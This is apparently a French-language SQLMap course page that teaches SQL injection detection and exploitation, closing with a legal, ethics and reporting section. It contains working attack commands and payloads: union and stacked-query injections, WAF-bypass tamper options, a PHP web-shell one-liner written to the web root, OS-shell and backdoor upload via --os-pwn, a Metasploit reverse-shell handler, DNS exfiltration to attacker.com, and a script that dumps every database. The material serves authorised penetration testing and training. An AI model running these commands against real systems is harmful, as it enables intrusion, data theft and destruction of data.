🗄️ SQL Injection

Cours SQLMap — De A à Z

Détection et exploitation automatisée des injections SQL : techniques, contournements et extraction.

11Chapitres
50+Exemples
SQLMap 1.xVersion
Pentest SQLiInjectionBases de donnéesWAF BypassForensics
🔍

Aucun résultat pour cette recherche.

SQLMap - Guide Complet de A à Z

Table des matières

  1. Introduction
  2. Installation et Configuration
  3. Concepts Fondamentaux
  4. Détection et Exploitation Basique
  5. Options Avancées de Détection
  6. Extraction de Données
  7. Techniques d’Injection
  8. Contournement des Protections
  9. Exploitation Avancée
  10. Optimisation et Performance
  11. Cas Pratiques et Scénarios Réels
  12. Bonnes Pratiques et Éthique

Introduction

Qu’est-ce que SQLMap ?

SQLMap est un outil open-source d’automatisation des tests de pénétration qui détecte et exploite les vulnérabilités d’injection SQL. Il supporte une large gamme de bases de données et de techniques d’exploitation.

Bases de données supportées

Pourquoi utiliser SQLMap ?


Installation et Configuration

Installation sur Linux (Debian/Ubuntu)

# Installation via apt
sudo apt update
sudo apt install sqlmap

# Vérification de l'installation
sqlmap --version

Installation depuis les sources (méthode recommandée)

# Cloner le dépôt officiel
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

# Accéder au répertoire
cd sqlmap-dev

# Lancer SQLMap
python3 sqlmap.py --version

Installation sur macOS

# Avec Homebrew
brew install sqlmap

# Ou depuis les sources (recommandé)
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python3 sqlmap.py --version

Installation sur Windows

# Télécharger Python 3.x depuis python.org
# Puis cloner le dépôt
git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python sqlmap.py --version

Configuration initiale

# Créer un alias (Linux/macOS)
echo "alias sqlmap='python3 /chemin/vers/sqlmap-dev/sqlmap.py'" >> ~/.bashrc
source ~/.bashrc

# Ou ajouter au PATH
export PATH=$PATH:/chemin/vers/sqlmap-dev

Concepts Fondamentaux

Types d’injection SQL

1. Error-based (Basée sur les erreurs)

L’application affiche les erreurs SQL qui révèlent des informations.

# Exemple de payload
' AND 1=CONVERT(int, (SELECT @@version))--

2. Union-based (Basée sur UNION)

Utilise l’opérateur UNION pour combiner les résultats.

# Exemple de payload
' UNION SELECT NULL, username, password FROM users--

3. Boolean-based blind (Aveugle basée sur booléens)

Déduit les informations selon les réponses vrai/faux.

# Exemple de payload
' AND 1=1--  # Vrai
' AND 1=2--  # Faux

4. Time-based blind (Aveugle basée sur le temps)

Utilise des délais pour déduire les informations.

# Exemple de payload MySQL
' AND SLEEP(5)--

# Exemple PostgreSQL
' AND pg_sleep(5)--

5. Stacked queries (Requêtes empilées)

Permet d’exécuter plusieurs requêtes.

# Exemple de payload
'; DROP TABLE users--

Anatomie d’une URL vulnérable

http://exemple.com/page.php?id=1
                              ↑
                        Point d'injection

Points d’injection courants


Détection et Exploitation Basique

Test simple d’une URL

# Test basique d'un paramètre GET
sqlmap -u "http://exemple.com/page.php?id=1"

Sortie attendue :

[INFO] testing connection to the target URL
[INFO] testing if the target URL content is stable
[INFO] target URL content is stable
[INFO] testing if GET parameter 'id' is dynamic
[INFO] GET parameter 'id' appears to be dynamic
[INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable

Test avec confirmation automatique

# Accepter automatiquement les choix par défaut
sqlmap -u "http://exemple.com/page.php?id=1" --batch

Test avec niveau de risque et de verbosité

# Niveau de verbosité élevé (1-6)
sqlmap -u "http://exemple.com/page.php?id=1" -v 3

# Niveau de risque (1-3) et de tests (1-5)
sqlmap -u "http://exemple.com/page.php?id=1" --level=5 --risk=3

Niveaux expliqués :

Niveau Tests effectués
1 GET, POST basiques
2 Cookies HTTP
3 User-Agent, Referer
4 Tests approfondis
5 Tests HOST header

Récupérer les bases de données

# Lister toutes les bases de données
sqlmap -u "http://exemple.com/page.php?id=1" --dbs

Exemple de sortie :

available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] shop_db
[*] test

Récupérer les tables d’une base

# Lister les tables de la base 'shop_db'
sqlmap -u "http://exemple.com/page.php?id=1" -D shop_db --tables

Exemple de sortie :

Database: shop_db
[4 tables]
+-----------+
| customers |
| orders    |
| products  |
| users     |
+-----------+

Récupérer les colonnes d’une table

# Lister les colonnes de la table 'users'
sqlmap -u "http://exemple.com/page.php?id=1" -D shop_db -T users --columns

Exemple de sortie :

Database: shop_db
Table: users
[5 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | int(11)     |
| username | varchar(50) |
| password | varchar(64) |
| email    | varchar(100)|
| role     | varchar(20) |
+----------+-------------+

Extraire les données

# Dumper toutes les données de la table 'users'
sqlmap -u "http://exemple.com/page.php?id=1" -D shop_db -T users --dump

Exemple de sortie :

Database: shop_db
Table: users
[3 entries]
+----+----------+----------------------------------+--------------------+-------+
| id | username | password                         | email              | role  |
+----+----------+----------------------------------+--------------------+-------+
| 1  | admin    | 5f4dcc3b5aa765d61d8327deb882cf99 | admin@exemple.com  | admin |
| 2  | john     | 098f6bcd4621d373cade4e832627b4f6 | john@exemple.com   | user  |
| 3  | alice    | 5d41402abc4b2a76b9719d911017c592 | alice@exemple.com  | user  |
+----+----------+----------------------------------+--------------------+-------+

Dump complet d’une base de données

# Extraire toutes les tables d'une base
sqlmap -u "http://exemple.com/page.php?id=1" -D shop_db --dump-all

Options Avancées de Détection

Test de paramètres POST

# Méthode 1 : Avec --data
sqlmap -u "http://exemple.com/login.php" --data="username=admin&password=test"

# Méthode 2 : Spécifier le paramètre à tester
sqlmap -u "http://exemple.com/login.php" --data="username=admin&password=test" -p username

Test avec cookies

# Tester un cookie spécifique
sqlmap -u "http://exemple.com/profile.php" --cookie="PHPSESSID=abc123; user_id=1" -p user_id

# Tester tous les cookies
sqlmap -u "http://exemple.com/profile.php" --cookie="PHPSESSID=abc123; user_id=1" --level=2

Test avec headers personnalisés

# Tester le header User-Agent
sqlmap -u "http://exemple.com/page.php?id=1" --user-agent="Mozilla/5.0*" --level=3

# Tester le header Referer
sqlmap -u "http://exemple.com/page.php?id=1" --referer="http://google.com*" --level=3

# Headers personnalisés multiples
sqlmap -u "http://exemple.com/api" --headers="X-API-Key: test123\nAuthorization: Bearer token"

Utiliser une requête depuis un fichier

# Capturer une requête avec Burp Suite et l'enregistrer
sqlmap -r request.txt

# Avec un paramètre spécifique marqué
sqlmap -r request.txt -p id

Exemple de fichier request.txt :

POST /login.php HTTP/1.1
Host: exemple.com
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=abc123
User-Agent: Mozilla/5.0

username=admin&password=test123

Test d’APIs REST (JSON)

# API avec JSON
sqlmap -u "http://api.exemple.com/user" \
  --data='{"id": 1, "action": "view"}' \
  --headers="Content-Type: application/json"

# Marquer le point d'injection avec *
sqlmap -u "http://api.exemple.com/user" \
  --data='{"id": 1*, "action": "view"}' \
  --headers="Content-Type: application/json"

Test avec authentification

# HTTP Basic Auth
sqlmap -u "http://exemple.com/page.php?id=1" \
  --auth-type=Basic \
  --auth-cred="username:password"

# HTTP Digest Auth
sqlmap -u "http://exemple.com/page.php?id=1" \
  --auth-type=Digest \
  --auth-cred="username:password"

Test derrière un formulaire de login

# Méthode complète
sqlmap -u "http://exemple.com/admin/panel.php?id=1" \
  --auth-type=POST \
  --auth-url="http://exemple.com/login.php" \
  --auth-data="username=admin&password=secret"

Extraction de Données

Énumération système et utilisateurs

# Obtenir le nom de la base de données courante
sqlmap -u "http://exemple.com/page.php?id=1" --current-db

# Obtenir l'utilisateur courant de la BDD
sqlmap -u "http://exemple.com/page.php?id=1" --current-user

# Lister tous les utilisateurs de la BDD
sqlmap -u "http://exemple.com/page.php?id=1" --users

# Obtenir les privilèges des utilisateurs
sqlmap -u "http://exemple.com/page.php?id=1" --privileges

# Vérifier si l'utilisateur est DBA
sqlmap -u "http://exemple.com/page.php?id=1" --is-dba

Exemple de sortie :

current user: 'webapp@localhost'
database management system users [3]:
[*] 'root'@'localhost'
[*] 'webapp'@'localhost'
[*] 'backup'@'localhost'

current user is DBA: False

Extraire les hash de mots de passe

# Dumper les hash des utilisateurs MySQL
sqlmap -u "http://exemple.com/page.php?id=1" --passwords

# Avec tentative de crack automatique
sqlmap -u "http://exemple.com/page.php?id=1" --passwords --crack

Recherche de données sensibles

# Rechercher des colonnes spécifiques (mots de passe, emails, etc.)
sqlmap -u "http://exemple.com/page.php?id=1" \
  -D shop_db \
  --search -C password,email,credit_card

# Rechercher des tables spécifiques
sqlmap -u "http://exemple.com/page.php?id=1" \
  --search -T user,admin,customer

Extraction sélective

# Extraire seulement certaines colonnes
sqlmap -u "http://exemple.com/page.php?id=1" \
  -D shop_db -T users -C username,email --dump

# Extraire avec condition WHERE
sqlmap -u "http://exemple.com/page.php?id=1" \
  -D shop_db -T users --where="role='admin'" --dump

# Limiter le nombre de lignes
sqlmap -u "http://exemple.com/page.php?id=1" \
  -D shop_db -T users --start=1 --stop=10 --dump

Exporter les résultats

# Format CSV
sqlmap -u "http://exemple.com/page.php?id=1" \
  -D shop_db -T users --dump --dump-format=CSV

# Spécifier le répertoire de sortie
sqlmap -u "http://exemple.com/page.php?id=1" \
  -D shop_db --dump-all --output-dir=/tmp/sqlmap_output

Utiliser SQL personnalisé

# Exécuter une requête SQL personnalisée
sqlmap -u "http://exemple.com/page.php?id=1" \
  --sql-query="SELECT username, email FROM users WHERE role='admin'"

# Shell SQL interactif
sqlmap -u "http://exemple.com/page.php?id=1" --sql-shell

Exemple d’utilisation du shell SQL :

sql-shell> SELECT COUNT(*) FROM users;
[12:34:56] [INFO] fetching SQL SELECT statement query output: 'SELECT COUNT(*) FROM users'
COUNT(*): '42'

sql-shell> SELECT version();
version(): '8.0.28-0ubuntu0.20.04.3'

Techniques d’Injection

Spécifier les techniques à utiliser

SQLMap supporte plusieurs techniques identifiées par des lettres :

# Utiliser seulement Union et Error-based
sqlmap -u "http://exemple.com/page.php?id=1" --technique=UE

# Utiliser toutes les techniques sauf time-based (plus rapide)
sqlmap -u "http://exemple.com/page.php?id=1" --technique=BEUSQ

# Utiliser seulement time-based (plus discret)
sqlmap -u "http://exemple.com/page.php?id=1" --technique=T

UNION-based : Configuration avancée

# Spécifier le nombre de colonnes
sqlmap -u "http://exemple.com/page.php?id=1" --union-cols=5

# Spécifier le caractère utilisé pour tester
sqlmap -u "http://exemple.com/page.php?id=1" --union-char='a'

# Spécifier la table à utiliser dans FROM
sqlmap -u "http://exemple.com/page.php?id=1" --union-from=users

Time-based : Ajuster les délais

# Spécifier le délai en secondes (défaut: 5)
sqlmap -u "http://exemple.com/page.php?id=1" --time-sec=10

# Utile pour les réseaux lents ou serveurs chargés
sqlmap -u "http://exemple.com/page.php?id=1" --time-sec=3

DNS exfiltration (Out-of-band)

# Utiliser DNS exfiltration si disponible
sqlmap -u "http://exemple.com/page.php?id=1" --dns-domain=attacker.com

# Requiert un serveur DNS contrôlé pour recevoir les données

Injection de second ordre

# Activer la détection d'injection de second ordre
sqlmap -u "http://exemple.com/register.php" \
  --data="username=test&email=test@test.com" \
  --second-url="http://exemple.com/profile.php" \
  --second-req=profile_request.txt

Contournement des Protections

WAF/IPS Detection et Bypass

# Identifier le WAF/IPS en place
sqlmap -u "http://exemple.com/page.php?id=1" --identify-waf

# Exemples de WAF détectés : Cloudflare, AWS WAF, ModSecurity, etc.

Sortie exemple :

[INFO] testing if the target is protected by some kind of WAF/IPS
[WARNING] heuristic (basic) test shows that GET parameter 'id' might be protected by some kind of WAF/IPS
[INFO] using 'Cloudflare' WAF bypass script

Scripts de Tamper

Les scripts de tamper modifient les payloads pour contourner les protections.

# Utiliser un script de tamper
sqlmap -u "http://exemple.com/page.php?id=1" --tamper=space2comment

# Utiliser plusieurs scripts
sqlmap -u "http://exemple.com/page.php?id=1" --tamper=space2comment,between

# Charger tous les scripts de tamper appropriés
sqlmap -u "http://exemple.com/page.php?id=1" --tamper=apostrophemask,apostrophenullencode,base64encode

Scripts de tamper populaires :

Script Description Exemple
space2comment Remplace les espaces par des commentaires ' AND 1=1'/**/AND/**/1=1
between Remplace > par BETWEEN id > 1id NOT BETWEEN 0 AND 1
charencode Encode les caractères en URL SELECT%53%45%4C%45%43%54
randomcase Change aléatoirement la casse SELECTSeLeCt
space2plus Remplace les espaces par + ' AND 1=1'+AND+1=1
space2randomblank Remplace par des blancs aléatoires Utilise %09, %0A, %0C, %0D
apostrophemask Remplace les apostrophes '%EF%BC%87
base64encode Encode le payload en base64 Tout le payload encodé
htmlencode Encode en HTML entities ''

Exemples de contournement WAF

# Contournement Cloudflare
sqlmap -u "http://exemple.com/page.php?id=1" \
  --tamper=space2comment \
  --random-agent \
  --delay=2

# Contournement ModSecurity
sqlmap -u "http://exemple.com/page.php?id=1" \
  --tamper=between,randomcase,space2comment \
  --hpp

# Contournement générique
sqlmap -u "http://exemple.com/page.php?id=1" \
  --tamper=charencode,randomcase \
  --random-agent \
  --delay=1 \
  --time-sec=10

Techniques d’obfuscation

# Utiliser HTTP Parameter Pollution
sqlmap -u "http://exemple.com/page.php?id=1" --hpp

# Randomiser le User-Agent
sqlmap -u "http://exemple.com/page.php?id=1" --random-agent

# Utiliser un User-Agent spécifique
sqlmap -u "http://exemple.com/page.php?id=1" \
  --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"

# Ajouter des délais entre les requêtes (en secondes)
sqlmap -u "http://exemple.com/page.php?id=1" --delay=2

# Randomiser les délais
sqlmap -u "http://exemple.com/page.php?id=1" --delay=2 --randomize=User-Agent,Referer

Contournement basé sur l’encodage

# Encoder le payload en base64
sqlmap -u "http://exemple.com/page.php?id=1" --tamper=base64encode

# Chiffrement personnalisé (créer un script tamper)
sqlmap -u "http://exemple.com/page.php?id=1" --tamper=custom_encode.py

Exemple de script tamper personnalisé (custom_encode.py) :

#!/usr/bin/env python

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Remplace les espaces par %20 et encode les guillemets
    """
    if payload:
        payload = payload.replace(' ', '%20')
        payload = payload.replace("'", "%27")
        payload = payload.replace('"', "%22")
    return payload

Utiliser des proxies et Tor

# Utiliser un proxy HTTP
sqlmap -u "http://exemple.com/page.php?id=1" --proxy="http://127.0.0.1:8080"

# Utiliser Tor
sqlmap -u "http://exemple.com/page.php?id=1" --tor --tor-type=SOCKS5

# Vérifier que Tor fonctionne
sqlmap -u "http://exemple.com/page.php?id=1" --tor --tor-type=SOCKS5 --check-tor

# Utiliser une chaîne de proxies
sqlmap -u "http://exemple.com/page.php?id=1" \
  --proxy="http://proxy1:8080" \
  --proxy-cred="user:pass"

Exploitation Avancée

Accès au système de fichiers

# Lire un fichier (nécessite FILE privilege)
sqlmap -u "http://exemple.com/page.php?id=1" --file-read="/etc/passwd"

# Écrire un fichier (nécessite FILE privilege)
sqlmap -u "http://exemple.com/page.php?id=1" \
  --file-write="shell.php" \
  --file-dest="/var/www/html/shell.php"

# Exemple de shell.php simple
echo '<?php system($_GET["cmd"]); ?>' > shell.php

Exemple de lecture de fichier :

[INFO] fetching file: '/etc/passwd'
[INFO] the file has been downloaded to: '/home/user/.local/share/sqlmap/output/exemple.com/files/_etc_passwd'

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

Exécution de commandes système

# Obtenir un shell OS (nécessite privilèges élevés)
sqlmap -u "http://exemple.com/page.php?id=1" --os-shell

# Exécuter une commande unique
sqlmap -u "http://exemple.com/page.php?id=1" --os-cmd="whoami"

# Shell interactif
sqlmap -u "http://exemple.com/page.php?id=1" --os-shell --technique=E

Exemple d’utilisation du shell OS :

os-shell> whoami
www-data

os-shell> cat /etc/os-release
NAME="Ubuntu"
VERSION="20.04.3 LTS (Focal Fossa)"

os-shell> ls -la /var/www/html
total 24
drwxr-xr-x 2 www-data www-data 4096 Jan 15 10:23 .
drwxr-xr-x 3 www-data www-data 4096 Jan 10 08:15 ..
-rw-r--r-- 1 www-data www-data 1234 Jan 15 10:23 index.php

Upload et exécution de backdoor

# Upload automatique d'un backdoor
sqlmap -u "http://exemple.com/page.php?id=1" --os-pwn

# Spécifier la technique
sqlmap -u "http://exemple.com/page.php?id=1" \
  --os-pwn \
  --technique=E \
  --msf-path=/usr/share/metasploit-framework

Élévation de privilèges (Windows)

# Utiliser UDF (User Defined Functions) pour élever les privilèges
sqlmap -u "http://exemple.com/page.php?id=1" --udf-inject

# Spécifier la DLL personnalisée
sqlmap -u "http://exemple.com/page.php?id=1" \
  --udf-inject \
  --shared-lib=/path/to/custom.dll

Registre Windows

# Lire une clé de registre
sqlmap -u "http://exemple.com/page.php?id=1" \
  --reg-read \
  --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" \
  --reg-value="ProductName"

# Ajouter une valeur au registre
sqlmap -u "http://exemple.com/page.php?id=1" \
  --reg-add \
  --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\Test" \
  --reg-value="TestValue" \
  --reg-data="TestData" \
  --reg-type="REG_SZ"

# Supprimer une clé
sqlmap -u "http://exemple.com/page.php?id=1" \
  --reg-del \
  --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\Test"

Obtenir un reverse shell avec Metasploit

# Intégration avec Metasploit
sqlmap -u "http://exemple.com/page.php?id=1" \
  --os-pwn \
  --msf-path=/usr/share/metasploit-framework \
  --priv-esc

# Dans un autre terminal, démarrer Metasploit
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
exploit

Pivoting et post-exploitation

# Énumérer les hôtes du réseau interne (via SQL Server)
sqlmap -u "http://exemple.com/page.php?id=1" \
  --sql-query="EXEC xp_cmdshell 'ipconfig /all'"

# Scanner le réseau interne
sqlmap -u "http://exemple.com/page.php?id=1" \
  --os-cmd="for /L %i in (1,1,254) do @ping -n 1 192.168.1.%i | find \"TTL\""

Optimisation et Performance

Gestion du threading

# Augmenter le nombre de threads (défaut: 1, max: 10)
sqlmap -u "http://exemple.com/page.php?id=1" --threads=5

# Attention : trop de threads peuvent déclencher des protections
sqlmap -u "http://exemple.com/page.php?id=1" --threads=10 --batch

Optimisation de la détection

# Test rapide (moins précis)
sqlmap -u "http://exemple.com/page.php?id=1" --smart

# Arrêter après la première injection trouvée
sqlmap -u "http://exemple.com/page.php?id=1" --stop-at-first

# Ne pas tester les autres paramètres
sqlmap -u "http://exemple.com/page.php?id=1" -p id

Utilisation du cache

# Désactiver le cache (forcer un nouveau scan)
sqlmap -u "http://exemple.com/page.php?id=1" --flush-session

# Conserver les données de session
sqlmap -u "http://exemple.com/page.php?id=1" --keep-alive

Optimisation réseau

# Réduire les timeouts
sqlmap -u "http://exemple.com/page.php?id=1" --timeout=10

# Nombre de tentatives en cas d'échec
sqlmap -u "http://exemple.com/page.php?id=1" --retries=2

# Keep-alive HTTP
sqlmap -u "http://exemple.com/page.php?id=1" --keep-alive

# Compression HTTP
sqlmap -u "http://exemple.com/page.php?id=1" --compression

Mode batch et automatisation

# Mode non-interactif complet
sqlmap -u "http://exemple.com/page.php?id=1" --batch --answers="extending=N,follow=N"

# Scripts d'automatisation
for url in $(cat urls.txt); do
  sqlmap -u "$url" --batch --dbs --threads=5
done

Gestion de la mémoire et des logs

# Désactiver les logs
sqlmap -u "http://exemple.com/page.php?id=1" --disable-coloring --batch -v 0

# Limiter la taille des dumps
sqlmap -u "http://exemple.com/page.php?id=1" -D mydb -T users --start=1 --stop=100 --dump

# Sauvegarder les résultats dans un format optimisé
sqlmap -u "http://exemple.com/page.php?id=1" --dump-format=SQLITE

Cas Pratiques et Scénarios Réels

Scénario 1 : Application de e-commerce

Contexte : Site de vente en ligne avec recherche de produits.

# Étape 1 : Détection initiale
sqlmap -u "http://shop.exemple.com/product.php?id=42" --batch

# Étape 2 : Énumération
sqlmap -u "http://shop.exemple.com/product.php?id=42" --dbs --batch

# Étape 3 : Cibler la base de données
sqlmap -u "http://shop.exemple.com/product.php?id=42" -D shop --tables

# Étape 4 : Extraire les données sensibles
sqlmap -u "http://shop.exemple.com/product.php?id=42" \
  -D shop -T customers \
  -C customer_id,email,password,credit_card \
  --dump \
  --where="customer_id < 100"

# Étape 5 : Rechercher des administrateurs
sqlmap -u "http://shop.exemple.com/product.php?id=42" \
  -D shop -T users \
  --where="role='admin'" \
  --dump

Scénario 2 : Panel d’administration protégé

Contexte : Interface admin protégée par cookie.

# Étape 1 : Intercepter la requête avec Burp Suite
# Sauvegarder dans admin_request.txt

# Étape 2 : Tester avec SQLMap
sqlmap -r admin_request.txt --batch

# Étape 3 : Contourner le WAF détecté
sqlmap -r admin_request.txt \
  --identify-waf \
  --tamper=space2comment,between \
  --random-agent \
  --delay=1

# Étape 4 : Obtenir un shell
sqlmap -r admin_request.txt \
  --os-shell \
  --technique=E \
  --batch

Scénario 3 : API REST avec JSON

Contexte : API mobile avec authentification par token.

# Étape 1 : Tester l'endpoint API
sqlmap -u "https://api.exemple.com/v1/user/profile" \
  --data='{"user_id": 123}' \
  --headers="Content-Type: application/json\nAuthorization: Bearer eyJhbGc..." \
  --batch

# Étape 2 : Marquer le point d'injection
sqlmap -u "https://api.exemple.com/v1/user/profile" \
  --data='{"user_id": 123*}' \
  --headers="Content-Type: application/json\nAuthorization: Bearer eyJhbGc..." \
  --level=5 \
  --risk=3

# Étape 3 : Extraction
sqlmap -u "https://api.exemple.com/v1/user/profile" \
  --data='{"user_id": 123*}' \
  --headers="Content-Type: application/json\nAuthorization: Bearer eyJhbGc..." \
  --dbs \
  --threads=3

Scénario 4 : Injection blind time-based complexe

Contexte : Application qui ne retourne jamais d’erreurs.

# Étape 1 : Forcer time-based uniquement
sqlmap -u "http://exemple.com/search.php?q=test" \
  --technique=T \
  --time-sec=5 \
  --batch

# Étape 2 : Extraction lente mais sûre
sqlmap -u "http://exemple.com/search.php?q=test" \
  --technique=T \
  --current-db \
  --threads=1 \
  --time-sec=3

# Étape 3 : Optimiser l'extraction
sqlmap -u "http://exemple.com/search.php?q=test" \
  --technique=T \
  -D discovered_db \
  --tables \
  --time-sec=2 \
  --threads=3

Scénario 5 : Application multi-paramètres

Contexte : Page avec de nombreux paramètres GET.

# URL : http://exemple.com/page.php?id=1&cat=news&lang=en&order=asc

# Étape 1 : Tester tous les paramètres
sqlmap -u "http://exemple.com/page.php?id=1&cat=news&lang=en&order=asc" \
  --level=3 \
  --batch

# Étape 2 : Tester un paramètre spécifique
sqlmap -u "http://exemple.com/page.php?id=1&cat=news&lang=en&order=asc" \
  -p cat \
  --dbs

# Étape 3 : Tester plusieurs paramètres
sqlmap -u "http://exemple.com/page.php?id=1&cat=news&lang=en&order=asc" \
  -p "id,cat,order" \
  --batch

Scénario 6 : Injection via User-Agent

Contexte : Vulnérabilité dans le logging du User-Agent.

# Étape 1 : Test de niveau élevé (teste les headers)
sqlmap -u "http://exemple.com/page.php" \
  --level=3 \
  --batch \
  --user-agent="Mozilla/5.0*"

# Étape 2 : Cibler spécifiquement le User-Agent
sqlmap -u "http://exemple.com/page.php" \
  --level=5 \
  --headers="User-Agent: Mozilla/5.0*" \
  --dbs

Scénario 7 : Dump massif et automatisation

Contexte : Extraction complète d’une base de données importante.

# Script d'automatisation complète
#!/bin/bash

TARGET="http://exemple.com/page.php?id=1"
OUTPUT_DIR="./sqlmap_results"

# Étape 1 : Détection
echo "[*] Détection de la vulnérabilité..."
sqlmap -u "$TARGET" --batch --current-db > "$OUTPUT_DIR/01_detection.txt"

# Étape 2 : Énumération des BDD
echo "[*] Énumération des bases de données..."
sqlmap -u "$TARGET" --batch --dbs > "$OUTPUT_DIR/02_databases.txt"

# Étape 3 : Pour chaque BDD, dump complet
DBS=$(sqlmap -u "$TARGET" --batch --dbs | grep "\[*\]" | awk '{print $2}')

for db in $DBS; do
  echo "[*] Dumping database: $db"
  sqlmap -u "$TARGET" \
    -D "$db" \
    --dump-all \
    --threads=5 \
    --batch \
    --output-dir="$OUTPUT_DIR/$db"
done

echo "[+] Extraction terminée dans $OUTPUT_DIR"

Bonnes Pratiques et Éthique

Aspects légaux

⚠️ AVERTISSEMENT IMPORTANT ⚠️

L'utilisation de SQLMap est soumise à des restrictions légales strictes :

✅ AUTORISÉ :
- Tests sur vos propres applications
- Pentests avec autorisation écrite
- Environnements de formation et CTF
- Recherche en sécurité avec permission

❌ INTERDIT :
- Tests sans autorisation explicite
- Accès non autorisé à des systèmes
- Exfiltration de données sans permission
- Utilisation malveillante

Autorisation et documentation

# Exemple de checklist avant un test

## 1. Autorisation écrite obtenue ? [OUI/NON]
## 2. Périmètre clairement défini ? [OUI/NON]
## 3. Période de test convenue ? [OUI/NON]
## 4. Contacts d'urgence identifiés ? [OUI/NON]
## 5. Backup des données critiques ? [OUI/NON]

Document d’autorisation type :

AUTORISATION DE TEST DE PÉNÉTRATION

Je soussigné [NOM], [TITRE] de [ENTREPRISE],
autorise [PENTESTER] à effectuer des tests de
sécurité sur les systèmes suivants :

- URL/IP : http://exemple.com
- Périmètre : Application web uniquement
- Période : Du [DATE] au [DATE]
- Restrictions : Pas de DoS, pas de délétion

Signature : ________________
Date : ________________

Minimiser l’impact

# 1. Limiter les threads
sqlmap -u "http://exemple.com/page.php?id=1" --threads=1

# 2. Ajouter des délais
sqlmap -u "http://exemple.com/page.php?id=1" --delay=3

# 3. Éviter les dumps complets en production
sqlmap -u "http://exemple.com/page.php?id=1" \
  -D mydb -T users \
  --start=1 --stop=5 \
  --dump

# 4. Utiliser le mode smart
sqlmap -u "http://exemple.com/page.php?id=1" --smart

# 5. Tester en dehors des heures de pointe
# Planifier les scans entre 22h et 6h par exemple

Bonnes pratiques de sécurité

# 1. Utiliser un environnement isolé
# Lancer SQLMap depuis une VM dédiée

# 2. Chiffrer les résultats sensibles
tar -czf results.tar.gz ~/.local/share/sqlmap/output/
gpg -c results.tar.gz  # Chiffrer avec mot de passe
rm results.tar.gz

# 3. Nettoyer les logs après usage
sqlmap --purge  # Supprime toute la session cache

# 4. Ne jamais commit les résultats dans Git
echo ".local/share/sqlmap/" >> ~/.gitignore

Reporting professionnel

Structure d’un rapport SQLMap :

# Rapport de Test d'Injection SQL

## Informations générales
- Date : [DATE]
- Testeur : [NOM]
- Cible : [URL/APPLICATION]
- Autorisation : [RÉFÉRENCE DOCUMENT]

## Résumé exécutif
- Vulnérabilité : Injection SQL
- Sévérité : CRITIQUE
- Impact : Accès complet à la base de données
- Recommandation : Correction immédiate requise

## Détails techniques

### Localisation
- URL : http://exemple.com/page.php
- Paramètre : id (GET)
- Type d'injection : Error-based, Union-based

### Reproduction
```bash
sqlmap -u "http://exemple.com/page.php?id=1" --dbs

Données exposées

Preuve de concept

[SCREENSHOT de l’extraction]

Recommandations

Court terme (Immédiat)

  1. Désactiver la page vulnérable
  2. Bloquer les requêtes malveillantes via WAF
  3. Auditer les logs pour détection d’exploitation

Moyen terme (1 semaine)

  1. Implémenter des requêtes préparées (Prepared Statements)
  2. Validation stricte des entrées utilisateur
  3. Principe du moindre privilège pour les comptes DB

Long terme (1 mois)

  1. Audit complet de l’application
  2. Formation des développeurs
  3. Mise en place de tests de sécurité automatisés

Références

### Alternatives et outils complémentaires

```bash
# 1. Validation manuelle après SQLMap
# Ne jamais se fier uniquement à l'automatisation

# 2. Utiliser d'autres outils pour confirmation
# - jSQL Injection (GUI)
# - NoSQLMap (pour NoSQL)
# - Havij (Windows, obsolète mais éducatif)

# 3. Tests manuels ciblés
curl "http://exemple.com/page.php?id=1'" -v
# Observer la réponse pour confirmer l'erreur SQL

# 4. Burp Suite pour affiner
# Intercepter et modifier les requêtes SQLMap

Formation continue

Ressources recommandées :

  1. Plateformes de pratique légale : - DVWA (Damn Vulnerable Web Application) - SQLi-Labs - HackTheBox - TryHackMe - PortSwigger Web Security Academy

  2. Documentation officielle : - https://github.com/sqlmapproject/sqlmap/wiki - OWASP SQL Injection Prevention Cheat Sheet

  3. Environnement de test local :

# Installer DVWA localement
git clone https://github.com/digininja/DVWA.git
cd DVWA
# Suivre les instructions d'installation

# Tester SQLMap en toute légalité
sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="security=low; PHPSESSID=..." \
  --batch

Checklist finale avant un test

 Autorisation écrite obtenue et archivée
 Périmètre validé avec le client
 Environnement de test configuré
 Backup des données effectué (si applicable)
 WAF/IPS configuré en mode monitoring (pas blocage)
 Contacts d'urgence identifiés
 Fenêtre de maintenance planifiée
 Outils à jour (sqlmap --update)
 Méthodologie documentée
 Plan de reporting préparé

Annexes

Aide-mémoire des commandes essentielles

# Détection de base
sqlmap -u "[URL]" --batch

# Énumération complète
sqlmap -u "[URL]" --dbs --tables --columns --dump-all

# Test rapide
sqlmap -u "[URL]" --smart --batch

# Contournement WAF
sqlmap -u "[URL]" --tamper=space2comment --random-agent

# Shell OS
sqlmap -u "[URL]" --os-shell

# Avec requête Burp
sqlmap -r request.txt --batch

# API JSON
sqlmap -u "[URL]" --data='{"id":1*}' --headers="Content-Type: application/json"

Codes de sortie SQLMap

Code Signification
0 Succès
1 Erreur générique
2 Cible non vulnérable
3 Interruption utilisateur (Ctrl+C)

Structure des fichiers de sortie

~/.local/share/sqlmap/output/
└── exemple.com/
    ├── dump/              # Données extraites
    │   └── shop_db/
    │       └── users.csv
    ├── files/             # Fichiers lus du serveur
    │   └── _etc_passwd
    ├── log                # Logs détaillés
    ├── session.sqlite     # Cache de session
    └── target.txt         # Informations sur la cible

Variables d’environnement utiles

# Définir le chemin de sortie par défaut
export SQLMAP_OUTPUT_DIR="/path/to/custom/output"

# Désactiver les couleurs
